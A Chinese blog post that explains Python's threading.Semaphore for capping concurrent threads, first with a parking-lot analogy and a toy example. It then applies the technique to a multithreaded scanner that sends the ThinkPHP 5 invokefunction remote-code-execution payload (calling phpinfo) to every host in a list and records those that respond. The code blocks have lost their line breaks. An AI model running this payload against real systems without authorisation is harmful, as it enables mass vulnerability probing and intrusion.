前面寫過一篇關于python多線程的實現的文章， 但是效果不是最佳的，寫法也不是很好。通過網上學習，也了解到了semaphore這個東西。

百度給的解釋：Semaphore是一種在多線程環境下使用的設施，該設施負責協調各個線程，以保證它們能夠正確、合理的使用公共資源的設施，也是操作系統中用于控制進程同步互斥的量。

一個有趣的例子：假設停車場只有三個車位，一開始三個車位都是空的。這時如果同時來了五輛車，看門人允許其中三輛不受阻礙的進入，然后放下車攔，剩下的車則必須在入口等待，此后來的車也都不得不在入口處等待。這時，有一輛車離開停車場，看門人得知后，打開車攔，放入一輛，如果又離開兩輛，則又可以放入兩輛，如此往復。

簡而言之，也就是能夠控制多線程并發的數量。

簡單記錄一下如何通過semaphore實現線程數的控制。

簡單代碼：

#! -*-coding: utf-8-*-import threadingimport timeclass test(threading.Thread): #繼承threading類 def __init__(self, i, sem): super(test, self).__init__() #繼承python的構造方法，這為python2的寫法，python3可直接super().__init__() self.i = i self.sem = sem def run(self): time.sleep(0.1) print('the test i is : ' + str(self.i)) self.sem.release()#釋放線程數，線程數加1if __name__ == ’__main__’: sem = threading.Semaphore(5) #設置可同時執行的最大線程數 for i in range(50): sem.acquire() #獲得線程，可用線程數減1 t = test(i, sem) #給執行函數傳遞值 t.start() #執行函數sem = threading.Semaphore(5) #設置可同時開啟的線程數，這里為5個

每執行一次函數的時候就獲得一個線程數，sem.acquire()；每次執行完函數，就會釋放一個線程數，sem.release()。只要acquire()的線程數達到了最大數（這里為5），后面的線程就只能先等待前面獲得的線程執行完函數過后釋放，后面的線程才能繼續執行。

整個流程理解起來其實也很簡單。

之前寫過一次開10個線程的多線程腳本，但是方法不夠好，這次用這個方法改了一下，貼在這里(掃描tp5是否存在代碼執行漏洞的掃描腳本)：

# -*- coding:UTF-8 -*-import requestsimport threadingimport timeimport sysclass check(threading.Thread): #判斷是否存在這個漏洞的執行函數 def __init__(self, url, sem): super(check, self).__init__() #繼承threading類的構造方法，python3的寫法super().__init__() self.url = url self.sem = sem def run(self): time.sleep(0.2) parameters = 's=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1' try: responce = requests.get(url = self.url, params = parameters) body = responce.text if body.find(’PHP Extension’) != -1: with open('success.txt', 'a+') as f1: f1.write('存在tp5遠程代碼執行漏洞: ' + self.url + 'n') print('[+] ' + self.url) else: print('[-] ' + self.url) except Exception,err: print('connect failed') pass self.sem.release() #執行完函數，釋放線程，線程數加1class host(threading.Thread): #遍歷文件操作 def __init__(self, sem): super(host, self).__init__() #繼承threading類的構造方法，python3的寫法super().__init__() self.sem = sem def run(self): with open(sys.argv[1], 'r') as f: for host in f.readlines(): self.sem.acquire() #遍歷一個就獲得一個線程，直到達到最大 host = 'http://' + host.strip() host_thread = check(host, self.sem) host_thread.start() #執行check()的執行函數if __name__ == ’__main__’: sem = threading.Semaphore(10) #最大線程數為10個 thread = host(sem) #傳遞sem值 thread.start()

到此這篇關于python多線程semaphore實現線程數控制的示例的文章就介紹到這了,更多相關python 線程數控制內容請搜索好吧啦網以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持好吧啦網！